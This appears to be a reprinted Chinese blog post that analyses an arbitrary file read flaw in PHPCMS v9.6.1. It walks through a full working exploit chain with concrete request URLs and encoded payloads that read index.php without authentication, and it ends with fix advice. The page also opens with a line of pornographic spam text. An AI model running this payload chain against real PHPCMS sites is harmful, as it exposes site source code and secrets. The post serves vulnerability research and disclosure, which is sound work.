国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

PHPCMSv9.6.1任意文件讀取漏洞的挖掘和分析過程

golden_hamster / 3085人閱讀

摘要:中是對稱加密且在不知道的情況下理論上不可能構造出有效密文。而且這句話是新增的,更加確定了,這個漏洞是特有的。通過對進行控制,間接控制等變量完成漏洞的利用。馬上對進行全文搜索,并且查找符合下列條件的上下文。的觸發條件盡可能的限制小。

看到網上說出了這么一個漏洞,所以抽空分析了下,得出本篇分析。

1.準備工作&漏洞關鍵點快速掃描 1.1前置知識

這里把本次分析中需要掌握的知識梳理了下:

php原生parse_str方法,會自動進行一次urldecode,第二個參數為空,則執行類似extract操作。

原生empty方法,對字符串""返回true。

phpcms中sys_auth是對稱加密且在不知道auth_key的情況下理論上不可能構造出有效密文。

1.2 快速掃描

先diff下v9.6.0和v9.6.1,發現phpcms/modules/content/down.php中有如下修改:

--- a/phpcms/modules/content/down.php
+++ b/phpcms/modules/content/down.php
@@ -14,12 +14,16 @@ class down {
                $a_k = sys_auth($a_k, "DECODE", pc_base::load_config("system","auth_key"));
                if(empty($a_k)) showmessage(L("illegal_parameters"));
                unset($i,$m,$f);
+               $a_k = safe_replace($a_k);^M
                parse_str($a_k);
                if(isset($i)) $i = $id = intval($i);
                if(!isset($m)) showmessage(L("illegal_parameters"));
                if(!isset($modelid)||!isset($catid)) showmessage(L("illegal_parameters"));
                if(empty($f)) showmessage(L("url_invalid"));
                $allow_visitor = 1;
+               $id = intval($id);^M
+               $modelid  = intval($modelid);^M
+               $catid  = intval($catid);^M
                $MODEL = getcache("model","commons");
                $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]["tablename"];
                $this->db->table_name = $tablename."_data";
@@ -86,6 +90,7 @@ class down {
                $a_k = sys_auth($a_k, "DECODE", $pc_auth_key);
                if(empty($a_k)) showmessage(L("illegal_parameters"));
                unset($i,$m,$f,$t,$ip);
+               $a_k = safe_replace($a_k);^M
                parse_str($a_k);                
                if(isset($i)) $downid = intval($i);
                if(!isset($m)) showmessage(L("illegal_parameters"));
@@ -118,6 +123,7 @@ class down {
                                }
                                $ext = fileext($filename);
                                $filename = date("Ymd_his").random(3).".".$ext;
+                               $fileurl = str_replace(array("<",">"), "",$fileurl);^M
                                file_down($fileurl, $filename);
                        }
                }

主要修改了兩個方法init()download(),大膽的猜想估計是這兩個函數出問題了。

public function init() {
        $a_k = trim($_GET["a_k"]);
        if(!isset($a_k)) showmessage(L("illegal_parameters"));
        $a_k = sys_auth($a_k, "DECODE", pc_base::load_config("system","auth_key"));//關鍵點1
        if(empty($a_k)) showmessage(L("illegal_parameters"));
        unset($i,$m,$f);
        $a_k = safe_replace($a_k);//關鍵點2
        parse_str($a_k);//關鍵點3
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L("illegal_parameters"));
        if(!isset($modelid)||!isset($catid)) showmessage(L("illegal_parameters"));
        if(empty($f)) showmessage(L("url_invalid"));
        $allow_visitor = 1;
        $id = intval($id);
        $modelid  = intval($modelid);
        $catid  = intval($catid);
  ......
    if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$f) || strpos($f, ":")!==FALSE || strpos($f,"..")!==FALSE) showmessage(L("url_error"));//關鍵點4
        if(strpos($f, "http://") !== FALSE || strpos($f, "ftp://") !== FALSE || strpos($f, "://") === FALSE) {
            $pc_auth_key = md5(pc_base::load_config("system","auth_key").$_SERVER["HTTP_USER_AGENT"]."down");
            $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, "ENCODE", $pc_auth_key));//關鍵點5
            $downurl = "?m=content&c=down&a=download&a_k=".$a_k;
        } else {
            $downurl = $f;            
        }
}
    public function download() {
        $a_k = trim($_GET["a_k"]);
        $pc_auth_key = md5(pc_base::load_config("system","auth_key").$_SERVER["HTTP_USER_AGENT"]."down");//關鍵點6
        $a_k = sys_auth($a_k, "DECODE", $pc_auth_key);
        if(empty($a_k)) showmessage(L("illegal_parameters"));
        unset($i,$m,$f,$t,$ip);
        $a_k = safe_replace($a_k);//關鍵點7
        parse_str($a_k);//關鍵點8
        if(isset($i)) $downid = intval($i);
        if(!isset($m)) showmessage(L("illegal_parameters"));
        if(!isset($modelid)) showmessage(L("illegal_parameters"));
        if(empty($f)) showmessage(L("url_invalid"));
        if(!$i || $m<0) showmessage(L("illegal_parameters"));
        if(!isset($t)) showmessage(L("illegal_parameters"));
        if(!isset($ip)) showmessage(L("illegal_parameters"));
        $starttime = intval($t);
        if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$f) || strpos($f, ":")!==FALSE || strpos($f,"..")!==FALSE) showmessage(L("url_error"));//關鍵點9
        $fileurl = trim($f);
        if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L("illegal_parameters"));    
        $endtime = SYS_TIME - $starttime;
        if($endtime > 3600) showmessage(L("url_invalid"));
        if($m) $fileurl = trim($s).trim($fileurl);//關鍵點10
        if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$fileurl) ) showmessage(L("url_error"));//關鍵點11
        //遠程文件
        if(strpos($fileurl, ":/") && (strpos($fileurl, pc_base::load_config("system","upload_url")) === false)) { //關鍵點12
            header("Location: $fileurl");
        } else {
            if($d == 0) {
                header("Location: ".$fileurl);//關鍵點13
            } else {
                $fileurl = str_replace(array(pc_base::load_config("system","upload_url"),"/"), array(pc_base::load_config("system","upload_path"),DIRECTORY_SEPARATOR), $fileurl);
                $filename = basename($fileurl);//關鍵點14
                //處理中文文件
                if(preg_match("/^([sS]*?)([x81-xfe][x40-xfe])([sS]*?)/", $fileurl)) {
                    $filename = str_replace(array("%5C", "%2F", "%3A"), array("", "/", ":"), urlencode($fileurl));
                    $filename = urldecode(basename($filename));//關鍵點15
                }
                $ext = fileext($filename);//關鍵點16
                $filename = date("Ymd_his").random(3).".".$ext;
                $fileurl = str_replace(array("<",">"), "",$fileurl);//關鍵點17
                file_down($fileurl, $filename);//關鍵點18
            }
        }
    }

safe_replace函數如下

function safe_replace($string) {
    $string = str_replace("%20","",$string);
    $string = str_replace("%27","",$string);
    $string = str_replace("%2527","",$string);
    $string = str_replace("*","",$string);
    $string = str_replace(""",""",$string);
    $string = str_replace(""","",$string);
    $string = str_replace(""","",$string);
    $string = str_replace(";","",$string);
    $string = str_replace("<","<",$string);
    $string = str_replace(">",">",$string);
    $string = str_replace("{","",$string);
    $string = str_replace("}","",$string);
    $string = str_replace("","",$string);
    return $string;
}
1.2 content/down模塊大致流程分析

init方法中根據原始的$a_k(包含了file_down的文件的基本信息),進行一次驗證,并且生成,調用

download方法的url,url的schema為$downurl="?m=content&c=down&a=download&a_k=".$a_k(必須符合一定條件。)

download方法接收到$a_k,進行解碼,解出文件信息,調用file_down($fileurl, $filename)( 必須符合一定條件)

我們來看下file_down函數,第一個參數$filepath,才是實際控制readfile的文件名的變量,readfile可以讀取本地文件,所以我們構造符合條件的$fileurl繞過上述的限制就可以完成本地文件的讀取功能!

function file_down($filepath, $filename = "") {
    if(!$filename) $filename = basename($filepath);
    if(is_ie()) $filename = rawurlencode($filename);
    $filetype = fileext($filename);
    $filesize = sprintf("%u", filesize($filepath));
    if(ob_get_length() !== false) @ob_end_clean();
    header("Pragma: public");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s") . " GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate");
    header("Cache-Control: pre-check=0, post-check=0, max-age=0");
    header("Content-Transfer-Encoding: binary");
    header("Content-Encoding: none");
    header("Content-type: ".$filetype);
    header("Content-Disposition: attachment; filename="".$filename.""");
    header("Content-length: ".$filesize);
    readfile($filepath);
    exit;
}
1.2.1$fileurl變量構造分析

如果我們要讀取站點的.php結尾文件,由于有關鍵點11存在,$fileurl中不能出現php,不過從關鍵點17可以看到進行了替換

$fileurl = str_replace(array("<",">"), "",$fileurl);//關鍵點17

那么可以想到我們構造出符合.ph([<>]+)p的文件后綴,最后會被替換成.php。而且這句話是9.6.1新增的,更加確定了,這個漏洞是9.6.1特有的。

再向上上看

if($m) $fileurl = trim($s).trim($fileurl);//關鍵點10

變量$m為真,那么我們可以通過引入變量$s來構造$fileurl,且$fileurl由變量$f控制。

$fileurl = trim($f);
$a_k = safe_replace($a_k);//關鍵點7
parse_str($a_k);//關鍵點8

通過parse_str來extract變量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid變量,看到這里我們可以構造$a_k來控制這些變量。

1.2.2$a_k變量分析

再向上看

$pc_auth_key = md5(pc_base::load_config("system","auth_key").$_SERVER["HTTP_USER_AGENT"]."down");//關鍵點6
        $a_k = sys_auth($a_k, "DECODE", $pc_auth_key);

這個關鍵點6很重要,因為這里的$pc_auth_key幾乎是不可能暴力出來的,然而得到這個加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我們只能通過init()方法來構造$a_k。

我們現在來看下init方法

        $a_k = trim($_GET["a_k"]);
        if(!isset($a_k)) showmessage(L("illegal_parameters"));
        $a_k = sys_auth($a_k, "DECODE", pc_base::load_config("system","auth_key"));//關鍵點1

這里可以發現sys_auth的auth竟然是使用系統默認的auth_key,直覺告訴我可能問題出在這里了,除了這個區別,init方法別的邏輯就不再贅述。

1.2.3小結

總結一下:

index.php?m=content&c=down&a=init&a_k=想辦法構造出符合條件的。

然后init方法會構造出符合download方法中能夠解密的$a_k。

通過對$a_k進行控制,間接控制$i,$f,$m,$s,$d等變量完成漏洞的利用。

2.漏洞挖掘過程 2.1 init方法所接受的$a_k構造 2.1.1探索正常流程中的$a_k構造過程

對源碼進行快速掃描,看看哪些地方能夠生產對init方法的調用,其實就是常規的下載模型的邏輯。

phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中會生成init方法的$a_k

    function downfile($field, $value) {
        extract(string2array($this->fields[$field]["setting"]));
        $list_str = array();
        if($value){
            $value_arr = explode("|",$value);
            $fileurl = $value_arr["0"];
            if($fileurl) {
                $sel_server = $value_arr["1"] ? explode(",",$value_arr["1"]) : "";
                $server_list = getcache("downservers","commons");
                if(is_array($server_list)) {
                    foreach($server_list as $_k=>$_v) {
                        if($value && is_array($sel_server) && in_array($_k,$sel_server)) {
                            $downloadurl = $_v[siteurl].$fileurl;
                            if($downloadlink) {
                                $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", "ENCODE", pc_base::load_config("system","auth_key")));
                                $list_str[] = "{$_v[sitename]}";
                            } else {
                                $list_str[] = "{$_v[sitename]}";
                            }
                        }
                    }
                }    
                return $list_str;
            }
        } 
    }

但是分析發現,content_input和content_output邏輯中權限驗證和限制邏輯比較完善,基本不存在利用可能。

2.1.2 黑科技構造$a_k

由于是sys_auth是對稱加密,那么能不能找個使用相同密鑰生成的地方來生成,對sys_auth進行全文搜索,我們找找有沒有符合下列條件的上下文

方式是ENCODE

Auth_key是系統默認的即:pc_base::load_config("system","auth_key")

且待加密內容是可控的(可以是我們$_REQUEST的數據,或者可以構造的)

加密后的數據有回顯的。

共找到58個匹配項,但是沒有符合上下文的,不過我們可以注意到

public static function set_cookie($var, $value = "", $time = 0) {
        $time = $time > 0 ? $time : ($value == "" ? SYS_TIME - 3600 : 0);
        $s = $_SERVER["SERVER_PORT"] == "443" ? 1 : 0;
        $var = pc_base::load_config("system","cookie_pre").$var;
        $_COOKIE[$var] = $value;
        if (is_array($value)) {
            foreach($value as $k=>$v) {
                setcookie($var."[".$k."]", sys_auth($v, "ENCODE"), $time, pc_base::load_config("system","cookie_path"), pc_base::load_config("system","cookie_domain"), $s);
            }
        } else {
            setcookie($var, sys_auth($value, "ENCODE"), $time, pc_base::load_config("system","cookie_path"), pc_base::load_config("system","cookie_domain"), $s);
        }
    }

    public static function get_cookie($var, $default = "") {
        $var = pc_base::load_config("system","cookie_pre").$var;
        return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], "DECODE") : $default;
    }

param::set_cookie param::get_cookie 對cookie加密是使用默認的auth_key的。

馬上對set_cookie進行全文搜索,并且查找符合下列條件的上下文。

set_cookie的內容是可控的。

set_cookie的觸發條件盡可能的限制小。

一共找到122個匹配項,找到了兩個比較好的觸發點。

phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法

video模塊需要管理員權限,就不考慮了,attachment模塊只要是注冊用戶即可調用。

我們來看下swfupload_json

    public function swfupload_json() {
        $arr["aid"] = intval($_GET["aid"]);
        $arr["src"] = safe_replace(trim($_GET["src"]));
        $arr["filename"] = urlencode(safe_replace($_GET["filename"]));
        $json_str = json_encode($arr);
        $att_arr_exist = param::get_cookie("att_json");
        $att_arr_exist_tmp = explode("||", $att_arr_exist);
        if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
            return true;
        } else {
            $json_str = $att_arr_exist ? $att_arr_exist."||".$json_str : $json_str;
            param::set_cookie("att_json",$json_str);
            return true;            
        }
    }

我們可以通過src和filename來構造,最終我選的是src,最終形式會是一個json串,當然有多個會以"||"分割。

我們注冊個用戶登錄之后,調用

index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn

產生的數據會是

{"aid":888,"src":"fobnn","filename":""}

然后我們得到response.header中的set-cookie ["att_json"]。

1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz

我們修改下down.php->init方法,把DECODE之后的$a_k輸出來。

然后我們調用

index.php?m=content&c=down&a=init
&a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz

激動人心,init方法成功DECODE了$a_k

好了目前驗證了我們的想法可行,接下來應該構造可用的payload了。

2.2 json和parse_str

目前要解決的就是 從json中parse_str并且能夠解析出$i,$m,$f等變量。

{"aid":888,"src":"fobnn=q&p1=12312","filename":""}

解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}

說明parse_str還是解析還是可以實現的,前后閉合一下,中間填充我們需要的變量即可,例如

{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}

那么fobnn和p1就是正常解析的,src需要URLENCODE提交,這樣不會導致php解析錯誤。

2.3 構造符合init方法的$a_k

我們先構造一個符合init方法的$a_k使得能完成正常的流程。

        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L("illegal_parameters"));
        if(!isset($modelid)||!isset($catid)) showmessage(L("illegal_parameters"));
        if(empty($f)) showmessage(L("url_invalid"));
        $allow_visitor = 1;
        $id = intval($id);
        $modelid  = intval($modelid);
        $catid  = intval($catid);

構造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用來滿足條件。

index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d

得到

3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
{"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}

然后提交

index.php?m=content&c=down&a=init
&a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ

成功!頁面已經生成了調用download方法的url



    
        
    
2.4繞過限制構造最終payload

目前正常流程已經走通,把目光集中在如何構造出符合的$fileurl,來看下init方法中

if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$f) || strpos($f, ":")!==FALSE || strpos($f,"..")!==FALSE) showmessage(L("url_error"));
if(strpos($f, "http://") !== FALSE || strpos($f, "ftp://") !== FALSE || strpos($f, "://") === FALSE) {
    $pc_auth_key = md5(pc_base::load_config("system","auth_key").$_SERVER["HTTP_USER_AGENT"]."down");
    $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, "ENCODE", $pc_auth_key));
    $downurl = "?m=content&c=down&a=download&a_k=".$a_k;
    } else {
        $downurl = $f;            
    }

對f的限制還是蠻多的,包括常規黑名單檢測php,asp等。也不能出現"..",":"

還好我們看到download函數中

if($m) $fileurl = trim($s).trim($fileurl);//關鍵點10

我們可以通過控制$m就可以通過$s來構造了,而$m和$s參與了$a_k的構造。

在init方法中我們可以構造 m=1&s=.php&f=index 類似的來繞過init方法的檢測,我們把目光聚焦到download方法。

//常規檢測代碼就不貼了,$i,$t,$m,$modelid,$t,$ip的檢測。
if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$f) || strpos($f, ":")!==FALSE || strpos($f,"..")!==FALSE) showmessage(L("url_error"));
    $fileurl = trim($f);

通過這樣的構造上面這個檢測肯定可以繞過,但發現下面檢測就會出問題,最后$fileurl還是會變成index.php

if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$fileurl) ) showmessage(L("url_error"));
        //遠程文件

好在快速掃描中看到的

$fileurl = str_replace(array("<",">"), "",$fileurl);//關鍵點17

另外又看到

if($d == 0) {
    header("Location: ".$fileurl);
2.4.1 urlencode編碼“<>”

那么構造出 d=1&m=1&f=.p

最終pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p

由于safe_replce的存在所以<會被過濾掉,前置知識中我已經說到parse_str會自動encode一次。

所以可以構造

d=1&m=1&f=.p%3chp&s=index

我們發現在init方法中會safe_replace一次,和parse_str一次。

那么最終編碼到download $a_k中的數據實際還是<,而download方法中也會safe_replace和parse_str一次。

所以我們要確保在init方法編碼的時候是%3c即可,對%3c進行一次urlencode,構造

d=1&m=1&f=.p%253chp&s=index

當然要讀取別的目錄的,那同樣對目錄路徑進行編碼。

2.4.2最終payload

以讀取首頁index.php為例

pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d
8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}
index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY

最終提示下載文件,文件下載成功,打開來看確實是index.php內容。

2.5繞過attachment模塊權限限制完成無限制利用
class attachments {
    private $att_db;
    function __construct() {
        pc_base::load_app_func("global");
        $this->upload_url = pc_base::load_config("system","upload_url");
        $this->upload_path = pc_base::load_config("system","upload_path");        
        $this->imgext = array("jpg","gif","png","bmp","jpeg");
        $this->userid = $_SESSION["userid"] ? $_SESSION["userid"] : (param::get_cookie("_userid") ? param::get_cookie("_userid") : sys_auth($_POST["userid_flash"],"DECODE"));
        $this->isadmin = $this->admin_username = $_SESSION["roleid"] ? 1 : 0;
        $this->groupid = param::get_cookie("_groupid") ? param::get_cookie("_groupid") : 8;
        //判斷是否登錄
        if(empty($this->userid)){
            showmessage(L("please_login","","member"));
        }
    }

可以發現

sys_auth($_POST["userid_flash"],"DECODE")

可控制$this->userid且沒有復雜的權限校驗,而且又是默認AUTH_KEY加密的。

全文找下無限制可以set_cookie的,發現WAP模塊可以利用

pc_base::load_sys_class("format", "", 0);
class index {
    function __construct() {        
        $this->db = pc_base::load_model("content_model");
        $this->siteid = isset($_GET["siteid"]) && (intval($_GET["siteid"]) > 0) ? intval(trim($_GET["siteid"])) : (param::get_cookie("siteid") ? param::get_cookie("siteid") : 1);
        param::set_cookie("siteid",$this->siteid);    
        $this->wap_site = getcache("wap_site","wap");
        $this->types = getcache("wap_type","wap");
        $this->wap = $this->wap_site[$this->siteid];
        define("WAP_SITEURL", $this->wap["domain"] ? $this->wap["domain"]."index.php?" : APP_PATH."index.php?m=wap&siteid=".$this->siteid);
        if($this->wap["status"]!=1) exit(L("wap_close_status"));
    }

沒有任何條件限制我們可以$_GET["siteid"]來控制param::set_cookie("siteid",$this->siteid),且默認都有WAP模塊的文件,但不需要開啟。

3.EXP編寫

流程如下:

index.php?m=wap&c=index&siteid=1 獲取名稱為siteid的cookie。

訪問index.php?m=attachment&c=attachments&a=swfupload_json&aid=1

&src=想要讀取文件的payload,并且訪問的時候設置post字段userid_flash為步驟一獲取的cookie.

響應成功之后,獲取名稱為att_json的cookie

訪問index.php?m=content&c=down&a=init&a_k=獲取到的att_json,來構造最終漏洞利用路徑,

可以直接截取生成的$a_k

訪問index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。

4.修復方案

init方法中的$a_k 加解密sys_auth不要采用默認密鑰。

file_down之前對$fileurl再做一次過濾。

文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。

轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/22877.html

相關文章

  • 2018先知白帽大會 | 議題解讀

    摘要:摘要今年的先知白帽大會,與會者將能夠親身感受到非常多有趣的技術議題,如在國際賽事中屢奪佳績的團隊,其隊長將親臨現場,分享穿針引線般的漏洞利用藝術。從數據視角探索安全威脅阿里云安全工程師議題解讀本議題討論了數據為安全人員思維方式帶來的變化。 摘要: 今年的先知白帽大會,與會者將能夠親身感受到非常多有趣的技術議題,如HITCON在國際賽事中屢奪佳績的CTF團隊,其隊長Orange將親臨現場...

    Hydrogen 評論0 收藏0
  • PHP 開發者如何做代碼審查?

    摘要:我們做代碼審計之前選好工具也是十分必要的。一審計工具介紹代碼審計系統功能介紹是一款基于開發的針對代碼安全審計的軟件。自定義審計規則。黑盒敏感信息泄露一鍵審計。挖掘這種漏洞主要是檢查是否使用了,搜索和。 GitChat 作者:湯青松原文:PHP 開發者如何做代碼審查?關注微信公眾號:「GitChat 技術雜談」 一本正經的講技術 【不要錯過文末彩蛋】 前言 工欲善其事,必先利其器。我們做...

    Achilles 評論0 收藏0
  • 在PHP應用程序開發中不正當使用mail()函數引發血案

    摘要:在我們向廠商提交漏洞,發布了相關的漏洞分析文章后,由于內聯函數導致的類似安全問題在其他的應用程序中陸續曝出。淺析的函數自帶了一個內聯函數用于在應用程序中發送電子郵件。 前言 在我們 挖掘PHP應用程序漏洞 的過程中,我們向著名的Webmail服務提供商 Roundcube 提交了一個遠程命令執行漏洞( CVE-2016-9920 )。該漏洞允許攻擊者通過利用Roundcube接口發送一...

    Galence 評論0 收藏0

發表評論

0條評論

最新活動
閱讀需要支付1元查看
<